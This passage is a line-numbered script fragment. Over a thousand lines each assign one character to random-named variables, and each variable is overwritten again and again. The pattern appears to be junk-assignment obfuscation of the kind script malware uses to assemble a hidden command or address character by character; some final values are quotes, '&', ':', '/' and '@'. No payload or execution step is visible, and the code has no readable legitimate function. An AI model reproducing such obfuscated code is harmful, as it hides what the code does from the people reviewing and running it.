162	zxawx = "m";
163	zxawx = "G";
164	zxawx = "n";
165	zxawx = "E";
166	zxawx = "D";
167	zxawx = "I";
168	zxawx = "O";
169	zxawx = "X";
170	zxawx = "x";
171	zxawx = "Q";
172	zxawx = "E";
173	zxawx = "G";
174	zxawx = "v";
175	zxawx = "D";
176	zxawx = "j";
177	zxawx = "l";
178	zxawx = "B";
179	zxawx = "v";
180	zxawx = "c";
181	gchpx = "o";
182	gchpx = "d";
183	gchpx = "y";
184	gchpx = "J";
185	gchpx = "l";
186	gchpx = "G";
187	gchpx = "G";
188	gchpx = "x";
189	gchpx = "L";
190	gchpx = "t";
191	gchpx = "N";
192	gchpx = "r";
193	gchpx = "D";
194	gchpx = "Q";
195	ofuxeiz = "u";
196	ofuxeiz = "T";
197	ofuxeiz = "0";
198	famuw = "y";
199	famuw = "D";
200	famuw = "x";
201	famuw = "d";
202	famuw = "M";
203	famuw = "R";
204	famuw = "m";
205	famuw = "v";
206	famuw = "x";
207	famuw = "b";
208	famuw = "a";
209	famuw = "Q";
210	famuw = "U";
211	famuw = "F";
212	famuw = "I";
213	famuw = "q";
214	famuw = "j";
215	famuw = "N";
216	famuw = "D";
217	famuw = "e";
218	famuw = "d";
219	famuw = "Y";
220	famuw = "u";
221	famuw = "K";
222	famuw = "i";
223	famuw = "M";
224	famuw = "Y";
225	famuw = "r";
226	famuw = "a";
227	dnpsdl = "W";
228	dnpsdl = "f";
229	dnpsdl = "u";
230	dnpsdl = "a";
231	dnpsdl = "e";
232	dnpsdl = "p";
233	dnpsdl = "M";
234	dnpsdl = "t";
235	dnpsdl = "a";
236	dnpsdl = "o";
237	dnpsdl = "u";
238	dnpsdl = "k";
239	dnpsdl = "f";
240	dnpsdl = "G";
241	dnpsdl = "u";
242	dnpsdl = "M";
243	dnpsdl = "k";
244	dnpsdl = "Z";
245	dnpsdl = "L";
246	dnpsdl = "I";
247	dnpsdl = "t";
248	dnpsdl = "I";
249	dnpsdl = "\"";
250	jvlkdah = "D";
251	jvlkdah = "W";
252	jvlkdah = "D";
253	jvlkdah = "b";
254	jvlkdah = "p";
255	jvlkdah = "d";
256	jvlkdah = "z";
257	jvlkdah = "B";
258	jvlkdah = "L";
259	jvlkdah = "I";
260	jvlkdah = "P";
261	jvlkdah = "q";
262	jvlkdah = "S";
263	jvlkdah = "B";
264	jvlkdah = "f";
265	jvlkdah = "A";
266	jvlkdah = "p";
267	jvlkdah = "I";
268	jvlkdah = "w";
269	jvlkdah = "S";
270	jvlkdah = "K";
271	jvlkdah = "j";
272	jvlkdah = "Z";
273	jvlkdah = "Q";
274	jvlkdah = "a";
275	jvlkdah = "n";
276	jvlkdah = "L";
277	jvlkdah = "k";
278	jvlkdah = "S";
279	jvlkdah = "c";
280	jvlkdah = "l";
281	jvlkdah = "i";
282	jvlkdah = "j";
283	jvlkdah = "z";
284	jvlkdah = "c";
285	jvlkdah = "X";
286	jvlkdah = "R";
287	jvlkdah = "x";
288	dfrmuv = "U";
289	dfrmuv = "U";
290	dfrmuv = "D";
291	dfrmuv = "A";
292	dfrmuv = "I";
293	dfrmuv = "j";
294	dfrmuv = "e";
295	dfrmuv = "t";
296	dfrmuv = "b";
297	dfrmuv = "f";
298	dfrmuv = "C";
299	dfrmuv = "j";
300	dfrmuv = "b";
301	dfrmuv = "u";
302	dfrmuv = "e";
303	dfrmuv = "M";
304	dfrmuv = "j";
305	dfrmuv = "B";
306	dfrmuv = "l";
307	dfrmuv = "M";
308	dfrmuv = "r";
309	zxvdi = "O";
310	zxvdi = "p";
311	zxvdi = "z";
312	zxvdi = "B";
313	zxvdi = "y";
314	zxvdi = "S";
315	zxvdi = "R";
316	zxvdi = "P";
317	zxvdi = "r";
318	zxvdi = "k";
319	zxvdi = "q";
320	zxvdi = "p";
321	zxvdi = "D";
322	zxvdi = "A";
323	zxvdi = "L";
324	zxvdi = "D";
325	zxvdi = "T";
326	zxvdi = "M";
327	zxvdi = "R";
328	zxvdi = "j";
329	zxvdi = "i";
330	zbzouvo = "R";
331	zbzouvo = "r";
332	zbzouvo = "X";
333	zbzouvo = "C";
334	zbzouvo = "K";
335	zbzouvo = "o";
336	zbzouvo = "o";
337	zbzouvo = "j";
338	zbzouvo = "B";
339	zbzouvo = "N";
340	zbzouvo = "h";
341	zbzouvo = "M";
342	zbzouvo = "j";
343	zbzouvo = "z";
344	zbzouvo = "J";
345	zbzouvo = "o";
346	zbzouvo = "S";
347	zbzouvo = "F";
348	zbzouvo = "W";
349	zbzouvo = "m";
350	zbzouvo = "f";
351	zbzouvo = "w";
352	zbzouvo = "Y";
353	zbzouvo = "L";
354	zbzouvo = "E";
355	zbzouvo = "m";
356	zbzouvo = "j";
357	zbzouvo = "r";
358	zbzouvo = "C";
359	zbzouvo = "r";
360	zbzouvo = "B";
361	zbzouvo = "N";
362	zbzouvo = "x";
363	zbzouvo = "a";
364	zbzouvo = "B";
365	zbzouvo = "E";
366	zbzouvo = "o";
367	zbzouvo = "k";
368	zbzouvo = "b";
369	zbzouvo = " ";
370	bzujkiol = "I";
371	bzujkiol = "X";
372	bzujkiol = "C";
373	bzujkiol = "w";
374	bzujkiol = "K";
375	bzujkiol = "m";
376	bzujkiol = "q";
377	bzujkiol = "R";
378	bzujkiol = "v";
379	bzujkiol = "V";
380	bzujkiol = "D";
381	bzujkiol = "I";
382	bzujkiol = "Y";
383	bzujkiol = "t";
384	bzujkiol = "r";
385	bzujkiol = "g";
386	bzujkiol = "a";
387	bzujkiol = "E";
388	bzujkiol = "j";
389	bzujkiol = "a";
390	bzujkiol = "T";
391	bzujkiol = "U";
392	bzujkiol = "b";
393	bzujkiol = "K";
394	bzujkiol = "W";
395	bzujkiol = "V";
396	bzujkiol = "W";
397	bzujkiol = "u";
398	bzujkiol = "j";
399	kimuwgk = "x";
400	kimuwgk = "S";
401	kimuwgk = "Q";
402	kimuwgk = "D";
403	kimuwgk = "O";
404	kimuwgk = "q";
405	kimuwgk = "l";
406	kimuwgk = "n";
407	kimuwgk = "x";
408	kimuwgk = "Z";
409	kimuwgk = "k";
410	kimuwgk = "O";
411	kimuwgk = "I";
412	kimuwgk = "C";
413	kimuwgk = "u";
414	kimuwgk = "b";
415	kimuwgk = "J";
416	kimuwgk = "K";
417	cnrvpyhwg = "u";
418	cnrvpyhwg = "K";
419	cnrvpyhwg = "j";
420	cnrvpyhwg = "z";
421	cnrvpyhwg = "s";
422	cnrvpyhwg = "&";
423	wujjl = "D";
424	wujjl = "p";
425	wujjl = "v";
426	wujjl = "p";
427	wujjl = "Q";
428	wujjl = "k";
429	wujjl = "v";
430	wujjl = "r";
431	wujjl = "H";
432	wujjl = "s";
433	txsyit = "y";
434	txsyit = "f";
435	txsyit = "v";
436	txsyit = "Q";
437	txsyit = "O";
438	txsyit = "e";
439	txsyit = "U";
440	txsyit = "U";
441	txsyit = "y";
442	txsyit = "t";
443	txsyit = "U";
444	txsyit = "H";
445	txsyit = "h";
446	xigfk = "h";
447	xigfk = "B";
448	xigfk = "v";
449	xigfk = "V";
450	xigfk = "E";
451	xigfk = "J";
452	xigfk = "A";
453	xigfk = "r";
454	xigfk = "p";
455	xigfk = "Y";
456	xigfk = "y";
457	xigfk = "5";
458	zoqnoj = "l";
459	zoqnoj = "X";
460	zoqnoj = "e";
461	zoqnoj = "Y";
462	zoqnoj = "I";
463	zoqnoj = "K";
464	zoqnoj = "k";
465	zoqnoj = "f";
466	zoqnoj = "P";
467	zoqnoj = "q";
468	zoqnoj = "w";
469	zoqnoj = "Q";
470	zoqnoj = "S";
471	zoqnoj = "B";
472	zoqnoj = "O";
473	zoqnoj = "w";
474	zoqnoj = "F";
475	zoqnoj = "z";
476	zoqnoj = "U";
477	zoqnoj = "h";
478	zoqnoj = "j";
479	zoqnoj = "O";
480	zoqnoj = "B";
481	zoqnoj = "I";
482	zoqnoj = "m";
483	zoqnoj = "B";
484	zoqnoj = "v";
485	zoqnoj = "V";
486	zoqnoj = "M";
487	zoqnoj = "S";
488	zoqnoj = "%";
489	pbkzas = "M";
490	pbkzas = "j";
491	pbkzas = "g";
492	pbkzas = "Y";
493	pbkzas = "m";
494	pbkzas = "M";
495	pbkzas = "H";
496	pbkzas = "I";
497	pbkzas = "i";
498	pbkzas = "V";
499	pbkzas = "x";
500	pbkzas = "A";
501	pbkzas = "u";
502	pbkzas = "l";
503	pbkzas = "p";
504	pbkzas = "W";
505	pbkzas = "Y";
506	pbkzas = "i";
507	pbkzas = "a";
508	pbkzas = "j";
509	pbkzas = "K";
510	pbkzas = "c";
511	pbkzas = "W";
512	pbkzas = "H";
513	pbkzas = "D";
514	pbkzas = "m";
515	pbkzas = "H";
516	pbkzas = "s";
517	pbkzas = "G";
518	pbkzas = "X";
519	pbkzas = "I";
520	pbkzas = "C";
521	pbkzas = "G";
522	pbkzas = "A";
523	pbkzas = "a";
524	pbkzas = "H";
525	uoilgbke = "L";
526	uoilgbke = "R";
527	uoilgbke = "P";
528	uoilgbke = "g";
529	uoilgbke = "P";
530	uoilgbke = "t";
531	uoilgbke = "m";
532	uoilgbke = "z";
533	uoilgbke = "e";
534	uoilgbke = "v";
535	uoilgbke = "_";
536	dxoumyuk = "u";
537	dxoumyuk = "W";
538	dxoumyuk = "Q";
539	dxoumyuk = "D";
540	dxoumyuk = "w";
541	dxoumyuk = "3";
542	uhhseguk = "n";
543	uhhseguk = "k";
544	uhhseguk = "s";
545	uhhseguk = "2";
546	xpzkwocxa = "m";
547	xpzkwocxa = "f";
548	xpzkwocxa = "e";
549	xpzkwocxa = "m";
550	nkyast = "j";
551	nkyast = "A";
552	nkyast = "k";
553	nkyast = "Z";
554	nkyast = "n";
555	nkyast = "y";
556	nkyast = "G";
557	nkyast = "w";
558	nkyast = "F";
559	nkyast = "F";
560	nkyast = "b";
561	nkyast = "M";
562	nkyast = "J";
563	nkyast = "N";
564	nkyast = "T";
565	nkyast = "w";
566	nkyast = "I";
567	nkyast = "N";
568	nkyast = "N";
569	nkyast = "v";
570	ifpan = "M";
571	ifpan = "L";
572	ifpan = "A";
573	ifpan = "z";
574	ifpan = "s";
575	ifpan = "r";
576	ifpan = "N";
577	ifpan = "V";
578	ifpan = "P";
579	ifpan = "o";
580	ifpan = "a";
581	ifpan = "G";
582	ifpan = "b";
583	ifpan = "M";
584	ifpan = "U";
585	ifpan = "Q";
586	ifpan = "S";
587	ifpan = "M";
588	ifpan = "o";
589	ifpan = "P";
590	ifpan = "S";
591	ifpan = "J";
592	ifpan = "y";
593	ifpan = "O";
594	ifpan = "N";
595	ifpan = "w";
596	ifpan = "i";
597	ifpan = "p";
598	ifpan = "B";
599	ifpan = "B";
600	ifpan = "o";
601	ifpan = "L";
602	ifpan = "l";
603	ifpan = "c";
604	ifpan = "S";
605	ifpan = "c";
606	ifpan = "Y";
607	ifpan = "M";
608	ifpan = "Q";
609	ifpan = "Z";
610	ifpan = "y";
611	ifpan = "s";
612	ifpan = "W";
613	ifpan = "8";
614	fbfosiuie = "N";
615	fbfosiuie = "z";
616	fbfosiuie = "P";
617	fbfosiuie = "V";
618	fbfosiuie = "D";
619	fbfosiuie = "O";
620	fbfosiuie = "J";
621	fbfosiuie = "S";
622	fbfosiuie = "y";
623	fbfosiuie = "x";
624	fbfosiuie = "b";
625	fbfosiuie = "F";
626	fbfosiuie = "Q";
627	fbfosiuie = "m";
628	fbfosiuie = "C";
629	fbfosiuie = "a";
630	fbfosiuie = "w";
631	fbfosiuie = "q";
632	fbfosiuie = "L";
633	fbfosiuie = "O";
634	fbfosiuie = "Y";
635	fbfosiuie = "m";
636	fbfosiuie = "Q";
637	fbfosiuie = "K";
638	fbfosiuie = "I";
639	fbfosiuie = "Z";
640	fbfosiuie = "j";
641	fbfosiuie = "B";
642	fbfosiuie = "A";
643	fbfosiuie = "g";
644	fbfosiuie = "j";
645	fbfosiuie = "Z";
646	fbfosiuie = "N";
647	fbfosiuie = "Q";
648	fbfosiuie = "x";
649	fbfosiuie = ":";
650	tlmwa = "R";
651	tlmwa = "y";
652	tlmwa = "h";
653	tlmwa = "Z";
654	tlmwa = "x";
655	tlmwa = "l";
656	tlmwa = "W";
657	tlmwa = "C";
658	tlmwa = "b";
659	tlmwa = "n";
660	tlmwa = "x";
661	tlmwa = "A";
662	tlmwa = "C";
663	tlmwa = "D";
664	tlmwa = "f";
665	tlmwa = "r";
666	tlmwa = "v";
667	tlmwa = "Q";
668	tlmwa = "Z";
669	tlmwa = "K";
670	tlmwa = "p";
671	tlmwa = "R";
672	tlmwa = "i";
673	tlmwa = "C";
674	tlmwa = ".";
675	xzvnsjx = "S";
676	xzvnsjx = "h";
677	xzvnsjx = "D";
678	xzvnsjx = "w";
679	xzvnsjx = "y";
680	xzvnsjx = "D";
681	xzvnsjx = "Z";
682	xzvnsjx = "N";
683	xzvnsjx = "E";
684	xzvnsjx = "h";
685	xzvnsjx = "l";
686	xzvnsjx = "O";
687	xzvnsjx = "o";
688	xzvnsjx = "C";
689	xzvnsjx = "R";
690	xzvnsjx = "L";
691	xzvnsjx = "B";
692	xzvnsjx = "p";
693	xzvnsjx = "y";
694	xzvnsjx = "R";
695	xzvnsjx = "k";
696	xzvnsjx = "P";
697	xzvnsjx = "H";
698	xzvnsjx = "a";
699	xzvnsjx = "a";
700	xzvnsjx = "Z";
701	xzvnsjx = "A";
702	xzvnsjx = "M";
703	xzvnsjx = "d";
704	xzvnsjx = "a";
705	xzvnsjx = "q";
706	xzvnsjx = "u";
707	xzvnsjx = "i";
708	xzvnsjx = "k";
709	gumpyc = "Z";
710	gumpyc = "m";
711	gumpyc = "K";
712	gumpyc = "B";
713	gumpyc = "V";
714	gumpyc = "z";
715	gumpyc = "m";
716	gumpyc = "l";
717	gumpyc = "j";
718	gumpyc = "x";
719	gumpyc = "w";
720	gumpyc = "B";
721	gumpyc = "L";
722	gumpyc = "M";
723	gumpyc = "S";
724	gumpyc = "t";
725	gumpyc = "e";
726	gumpyc = "J";
727	gumpyc = "I";
728	gumpyc = "j";
729	gumpyc = "v";
730	gumpyc = "r";
731	gumpyc = "V";
732	gumpyc = "N";
733	gumpyc = "b";
734	gumpyc = "B";
735	gumpyc = "g";
736	gumpyc = "r";
737	gumpyc = "Z";
738	gumpyc = "P";
739	gumpyc = "M";
740	gumpyc = "B";
741	gumpyc = "r";
742	gumpyc = "W";
743	gumpyc = "t";
744	lathffqb = "C";
745	lathffqb = "h";
746	lathffqb = "Y";
747	lathffqb = "W";
748	lathffqb = "H";
749	lathffqb = "C";
750	lathffqb = "p";
751	lathffqb = "a";
752	lathffqb = "u";
753	lathffqb = "L";
754	lathffqb = "a";
755	lathffqb = "v";
756	lathffqb = "B";
757	lathffqb = "V";
758	lathffqb = "i";
759	lathffqb = "j";
760	lathffqb = "q";
761	lathffqb = "w";
762	lathffqb = "M";
763	lathffqb = "w";
764	lathffqb = "R";
765	lathffqb = "L";
766	lathffqb = "y";
767	lathffqb = "G";
768	lathffqb = "Q";
769	lathffqb = "b";
770	lathffqb = "O";
771	yoeuatm = "C";
772	yoeuatm = "s";
773	yoeuatm = "U";
774	yoeuatm = "L";
775	yoeuatm = "E";
776	yoeuatm = "f";
777	yoeuatm = "T";
778	yoeuatm = "e";
779	yoeuatm = "m";
780	yoeuatm = "G";
781	yoeuatm = "P";
782	yoeuatm = "A";
783	yoeuatm = "T";
784	yoeuatm = "B";
785	yoeuatm = "E";
786	yoeuatm = "w";
787	yoeuatm = "P";
788	yoeuatm = "e";
789	yoeuatm = "M";
790	yoeuatm = "t";
791	yoeuatm = "j";
792	yoeuatm = "f";
793	yoeuatm = "k";
794	yoeuatm = "U";
795	yoeuatm = "w";
796	yoeuatm = "H";
797	yoeuatm = "E";
798	yoeuatm = "m";
799	yoeuatm = "Y";
800	yoeuatm = "G";
801	yoeuatm = "u";
802	yoeuatm = "F";
803	yoeuatm = "Y";
804	yoeuatm = "W";
805	yoeuatm = "s";
806	yoeuatm = "k";
807	yoeuatm = "B";
808	yoeuatm = "o";
809	yoeuatm = "g";
810	yoeuatm = "S";
811	yoeuatm = "\\";
812	epbftsdk = "F";
813	epbftsdk = "y";
814	epbftsdk = "S";
815	epbftsdk = "V";
816	epbftsdk = "P";
817	epbftsdk = "1";
818	jmzylzlmt = "j";
819	jmzylzlmt = "U";
820	jmzylzlmt = "i";
821	jmzylzlmt = "G";
822	jmzylzlmt = "m";
823	jmzylzlmt = "k";
824	jmzylzlmt = "r";
825	jmzylzlmt = "Q";
826	jmzylzlmt = "r";
827	jmzylzlmt = "v";
828	jmzylzlmt = "i";
829	jmzylzlmt = "h";
830	jmzylzlmt = "P";
831	jmzylzlmt = "O";
832	jmzylzlmt = "s";
833	jmzylzlmt = "U";
834	jmzylzlmt = "e";
835	jmzylzlmt = "o";
836	jmzylzlmt = "c";
837	jmzylzlmt = "b";
838	jmzylzlmt = "M";
839	jmzylzlmt = "k";
840	jmzylzlmt = "B";
841	jmzylzlmt = "n";
842	jmzylzlmt = "F";
843	rdewt = "q";
844	rdewt = "U";
845	rdewt = "h";
846	rdewt = "e";
847	rdewt = "H";
848	rdewt = "k";
849	rdewt = "c";
850	rdewt = "Y";
851	rdewt = "P";
852	rdewt = "h";
853	rdewt = "F";
854	rdewt = "E";
855	rdewt = "P";
856	rdewt = "y";
857	rdewt = "m";
858	rdewt = "E";
859	rdewt = "V";
860	rdewt = "g";
861	rdewt = "m";
862	rdewt = "T";
863	rdewt = "h";
864	rdewt = "P";
865	rdewt = "p";
866	rdewt = "R";
867	rdewt = "g";
868	rdewt = "H";
869	rdewt = "j";
870	rdewt = "j";
871	rdewt = "I";
872	rdewt = "d";
873	rdewt = "B";
874	rdewt = "T";
875	wsekklmxm = "D";
876	wsekklmxm = "b";
877	wsekklmxm = "E";
878	wsekklmxm = "I";
879	wsekklmxm = "Y";
880	wsekklmxm = "S";
881	wsekklmxm = "v";
882	wsekklmxm = "c";
883	wsekklmxm = "m";
884	wsekklmxm = "D";
885	wsekklmxm = "l";
886	wsekklmxm = "u";
887	wsekklmxm = "g";
888	wsekklmxm = "c";
889	wsekklmxm = "m";
890	wsekklmxm = "p";
891	ugodmk = "s";
892	ugodmk = "C";
893	ugodmk = "M";
894	ugodmk = "L";
895	ugodmk = "L";
896	ugodmk = "c";
897	ugodmk = "j";
898	ugodmk = "e";
899	ugodmk = "b";
900	ucgcjche = "c";
901	ucgcjche = "i";
902	ucgcjche = "z";
903	ucgcjche = "r";
904	ucgcjche = "G";
905	ucgcjche = "l";
906	ucgcjche = "B";
907	ucgcjche = "i";
908	ucgcjche = "c";
909	ucgcjche = "e";
910	ucgcjche = "K";
911	ucgcjche = "H";
912	ucgcjche = "I";
913	ucgcjche = "u";
914	ucgcjche = "q";
915	ucgcjche = "e";
916	ucgcjche = "W";
917	ucgcjche = "F";
918	ucgcjche = "M";
919	ucgcjche = "I";
920	ucgcjche = "u";
921	ucgcjche = "w";
922	ucgcjche = "B";
923	ucgcjche = "N";
924	ucgcjche = "O";
925	ucgcjche = "J";
926	ucgcjche = "q";
927	bagllsk = "B";
928	bagllsk = "Y";
929	bagllsk = "b";
930	bagllsk = "P";
931	bagllsk = "R";
932	bagllsk = "h";
933	bagllsk = "t";
934	bagllsk = "w";
935	bagllsk = "M";
936	bagllsk = "h";
937	bagllsk = "q";
938	bagllsk = "i";
939	bagllsk = "j";
940	bagllsk = "S";
941	bagllsk = "r";
942	bagllsk = "Q";
943	bagllsk = "j";
944	bagllsk = "d";
945	bagllsk = "R";
946	bagllsk = "r";
947	bagllsk = "O";
948	bagllsk = "Q";
949	bagllsk = "q";
950	bagllsk = "S";
951	bagllsk = "m";
952	bagllsk = "l";
953	ikszyq = "i";
954	ikszyq = "a";
955	ikszyq = "H";
956	ikszyq = "C";
957	ikszyq = "o";
958	ikszyq = "k";
959	ikszyq = "W";
960	ikszyq = "j";
961	ikszyq = "R";
962	ikszyq = "j";
963	ikszyq = "l";
964	ikszyq = "R";
965	ikszyq = "K";
966	ikszyq = "a";
967	ikszyq = "u";
968	cabmuul = "I";
969	cabmuul = "A";
970	cabmuul = "z";
971	cabmuul = "s";
972	cabmuul = "N";
973	cabmuul = "s";
974	cabmuul = "S";
975	cabmuul = "U";
976	cabmuul = "t";
977	cabmuul = "D";
978	cabmuul = "e";
979	cabmuul = "V";
980	cabmuul = "h";
981	cabmuul = "k";
982	cabmuul = "B";
983	cabmuul = "O";
984	cabmuul = "H";
985	cabmuul = "x";
986	cabmuul = "c";
987	cabmuul = "P";
988	cabmuul = "r";
989	cabmuul = "T";
990	cabmuul = "R";
991	cabmuul = "C";
992	cabmuul = "L";
993	cabmuul = "T";
994	cabmuul = "V";
995	cabmuul = "E";
996	cabmuul = "E";
997	cabmuul = "t";
998	cabmuul = "K";
999	cabmuul = "r";
1000	cabmuul = "l";
1001	cabmuul = "y";
1002	cabmuul = "h";
1003	cabmuul = "P";
1004	cabmuul = "9";
1005	cuqqo = "a";
1006	cuqqo = "Y";
1007	cuqqo = "E";
1008	cuqqo = "t";
1009	cuqqo = "H";
1010	cuqqo = "Z";
1011	cuqqo = "t";
1012	cuqqo = "a";
1013	cuqqo = "B";
1014	cuqqo = "H";
1015	cuqqo = "u";
1016	cuqqo = "b";
1017	cuqqo = "v";
1018	cuqqo = "M";
1019	cuqqo = "H";
1020	cuqqo = "a";
1021	cuqqo = "r";
1022	cuqqo = "b";
1023	cuqqo = "J";
1024	cuqqo = "U";
1025	cuqqo = "R";
1026	cuqqo = "t";
1027	cuqqo = "J";
1028	cuqqo = "X";
1029	cuqqo = "W";
1030	cuqqo = "y";
1031	cuqqo = "C";
1032	cuqqo = "u";
1033	cuqqo = "l";
1034	cuqqo = "c";
1035	cuqqo = "d";
1036	cuqqo = "H";
1037	cuqqo = "W";
1038	cuqqo = "X";
1039	cuqqo = "P";
1040	cuqqo = "O";
1041	cuqqo = "t";
1042	cuqqo = "o";
1043	cuqqo = "z";
1044	cuqqo = "c";
1045	cuqqo = "a";
1046	cuqqo = "L";
1047	cuqqo = "w";
1048	cuqqo = "A";
1049	cuqqo = "n";
1050	tdciact = "L";
1051	tdciact = "j";
1052	tdciact = "r";
1053	tdciact = "x";
1054	tdciact = "r";
1055	tdciact = "p";
1056	tdciact = "p";
1057	tdciact = "K";
1058	tdciact = "d";
1059	tdciact = "I";
1060	tdciact = "V";
1061	tdciact = "w";
1062	tdciact = "X";
1063	tdciact = "j";
1064	tdciact = "K";
1065	tdciact = "E";
1066	tdciact = "f";
1067	tdciact = "Q";
1068	tdciact = "n";
1069	tdciact = "T";
1070	tdciact = "P";
1071	tdciact = "T";
1072	tdciact = "T";
1073	tdciact = "Q";
1074	tdciact = "r";
1075	tdciact = "S";
1076	tdciact = "v";
1077	tdciact = "Y";
1078	tdciact = "B";
1079	tdciact = "R";
1080	tbdyze = "Y";
1081	tbdyze = "w";
1082	tbdyze = "Z";
1083	tbdyze = "I";
1084	pyltagye = "C";
1085	pyltagye = "h";
1086	pyltagye = "t";
1087	pyltagye = "l";
1088	pyltagye = "y";
1089	pyltagye = "n";
1090	pyltagye = "o";
1091	pyltagye = "R";
1092	pyltagye = "Y";
1093	gqpleeenh = "N";
1094	gqpleeenh = "m";
1095	gqpleeenh = "C";
1096	gqpleeenh = "e";
1097	gqpleeenh = "N";
1098	gqpleeenh = "x";
1099	gqpleeenh = "c";
1100	gqpleeenh = "h";
1101	gqpleeenh = "x";
1102	gqpleeenh = "P";
1103	gqpleeenh = "s";
1104	gqpleeenh = "t";
1105	gqpleeenh = "a";
1106	gqpleeenh = "i";
1107	gqpleeenh = "j";
1108	gqpleeenh = "T";
1109	gqpleeenh = "a";
1110	gqpleeenh = "J";
1111	gqpleeenh = "C";
1112	gqpleeenh = "e";
1113	gqpleeenh = "z";
1114	gqpleeenh = "c";
1115	gqpleeenh = "r";
1116	gqpleeenh = "G";
1117	gqpleeenh = "H";
1118	gqpleeenh = "q";
1119	gqpleeenh = "f";
1120	gqpleeenh = "v";
1121	gqpleeenh = "r";
1122	gqpleeenh = "O";
1123	gqpleeenh = "M";
1124	gqpleeenh = "L";
1125	gqpleeenh = "E";
1126	gqpleeenh = "T";
1127	gqpleeenh = "c";
1128	gqpleeenh = "i";
1129	gqpleeenh = "T";
1130	gqpleeenh = "h";
1131	gqpleeenh = "G";
1132	gqpleeenh = "r";
1133	gqpleeenh = "v";
1134	gqpleeenh = "i";
1135	gqpleeenh = "E";
1136	dynkukxlh = "u";
1137	dynkukxlh = "A";
1138	dynkukxlh = "N";
1139	dynkukxlh = "s";
1140	dynkukxlh = "X";
1141	dynkukxlh = "a";
1142	dynkukxlh = "e";
1143	dynkukxlh = "X";
1144	dynkukxlh = "p";
1145	dynkukxlh = "w";
1146	dynkukxlh = "Q";
1147	dynkukxlh = "K";
1148	dynkukxlh = "B";
1149	dynkukxlh = "y";
1150	dynkukxlh = "@";
1151	gcuqaqep = "B";
1152	gcuqaqep = "a";
1153	gcuqaqep = "d";
1154	rcoevkrk = "o";
1155	xqqadpa = "J";
1156	xqqadpa = "f";
1157	xqqadpa = "b";
1158	xqqadpa = "R";
1159	xqqadpa = "L";
1160	xqqadpa = "o";
1161	xqqadpa = "D";
1162	xqqadpa = "p";
1163	xqqadpa = "V";
1164	xqqadpa = "Y";
1165	xqqadpa = "L";
1166	xqqadpa = "a";
1167	xqqadpa = "u";
1168	xqqadpa = "E";
1169	xqqadpa = "w";
1170	xqqadpa = "N";
1171	xqqadpa = "P";
1172	xqqadpa = "O";
1173	xqqadpa = "J";
1174	xqqadpa = "h";
1175	xqqadpa = "w";
1176	xqqadpa = "L";
1177	zwjbeujfe = "j";
1178	zwjbeujfe = "l";
1179	zwjbeujfe = "D";
1180	zwjbeujfe = "Q";
1181	zwjbeujfe = "U";
1182	zwjbeujfe = "e";
1183	zwjbeujfe = "r";
1184	zwjbeujfe = "a";
1185	zwjbeujfe = "U";
1186	zwjbeujfe = "C";
1187	zwjbeujfe = "F";
1188	zwjbeujfe = "l";
1189	zwjbeujfe = "O";
1190	zwjbeujfe = "m";
1191	zwjbeujfe = "k";
1192	zwjbeujfe = "U";
1193	zwjbeujfe = "k";
1194	zwjbeujfe = "k";
1195	zwjbeujfe = "O";
1196	zwjbeujfe = "o";
1197	zwjbeujfe = "J";
1198	zwjbeujfe = "z";
1199	zwjbeujfe = "m";
1200	zwjbeujfe = "Q";
1201	zwjbeujfe = "V";
1202	zwjbeujfe = "Q";
1203	zwjbeujfe = "U";
1204	zwjbeujfe = "F";
1205	zwjbeujfe = "e";
1206	rcodqiyfv = "F";
1207	rcodqiyfv = "N";
1208	rcodqiyfv = "N";
1209	rcodqiyfv = "S";
1210	rcodqiyfv = "v";
1211	rcodqiyfv = "e";
1212	rcodqiyfv = "W";
1213	rcodqiyfv = "Z";
1214	rcodqiyfv = "F";
1215	rcodqiyfv = "X";
1216	rcodqiyfv = "q";
1217	rcodqiyfv = "b";
1218	rcodqiyfv = "p";
1219	rcodqiyfv = "T";
1220	rcodqiyfv = "R";
1221	rcodqiyfv = "w";
1222	rcodqiyfv = "h";
1223	rcodqiyfv = "n";
1224	rcodqiyfv = "C";
1225	rcodqiyfv = "H";
1226	rcodqiyfv = "U";
1227	rcodqiyfv = "T";
1228	rcodqiyfv = "s";
1229	rcodqiyfv = "R";
1230	rcodqiyfv = "b";
1231	rcodqiyfv = "q";
1232	rcodqiyfv = "I";
1233	rcodqiyfv = "F";
1234	rcodqiyfv = "P";
1235	rcodqiyfv = "V";
1236	rcodqiyfv = "G";
1237	rcodqiyfv = "T";
1238	rcodqiyfv = "F";
1239	rcodqiyfv = "p";
1240	rcodqiyfv = "P";
1241	rcodqiyfv = "U";
1242	mwbzkknmt = "T";
1243	mwbzkknmt = "W";
1244	mwbzkknmt = "a";
1245	mwbzkknmt = "f";
1246	mwbzkknmt = "n";
1247	mwbzkknmt = "b";
1248	mwbzkknmt = "Z";
1249	mwbzkknmt = "f";
1250	mwbzkknmt = "q";
1251	mwbzkknmt = "H";
1252	mwbzkknmt = "J";
1253	mwbzkknmt = "V";
1254	mwbzkknmt = "r";
1255	mwbzkknmt = "V";
1256	mwbzkknmt = "x";
1257	mwbzkknmt = "P";
1258	mwbzkknmt = "Y";
1259	mwbzkknmt = "V";
1260	mwbzkknmt = "F";
1261	mwbzkknmt = "s";
1262	mwbzkknmt = "x";
1263	mwbzkknmt = "w";
1264	mwbzkknmt = "j";
1265	mwbzkknmt = "l";
1266	mwbzkknmt = "W";
1267	doxmgcdo = "q";
1268	doxmgcdo = "W";
1269	doxmgcdo = "z";
1270	doxmgcdo = "y";
1271	doxmgcdo = "R";
1272	doxmgcdo = "k";
1273	doxmgcdo = "V";
1274	doxmgcdo = "T";
1275	doxmgcdo = "B";
1276	doxmgcdo = "J";
1277	doxmgcdo = "P";
1278	doxmgcdo = "T";
1279	doxmgcdo = "d";
1280	doxmgcdo = "O";
1281	doxmgcdo = "V";
1282	doxmgcdo = "c";
1283	doxmgcdo = "M";
1284	doxmgcdo = "L";
1285	doxmgcdo = "E";
1286	doxmgcdo = "T";
1287	doxmgcdo = "d";
1288	doxmgcdo = "U";
1289	doxmgcdo = "b";
1290	doxmgcdo = "/";
1291	hqnfv = "G";
1292	hqnfv = "T";
1293	hqnfv = "i";
1294	hqnfv = "T";
1295	hqnfv = "F";
1296	hqnfv = "S";
1297	hqnfv = "t";
1298	hqnfv = "q";
1299	hqnfv = "B";
1300	hqnfv = "Z";
1301	hqnfv = "T";
1302	hqnfv = "T";
1303	hqnfv = "O";
1304	hqnfv = "O";
1305	hqnfv = "k";
1306	hqnfv = "w";
1307	hqnfv = "t";
1308	hqnfv = "W";
1309	hqnfv = "u";
1310	hqnfv = "c";
1311	hqnfv = "G";
1312	hqnfv = "N";
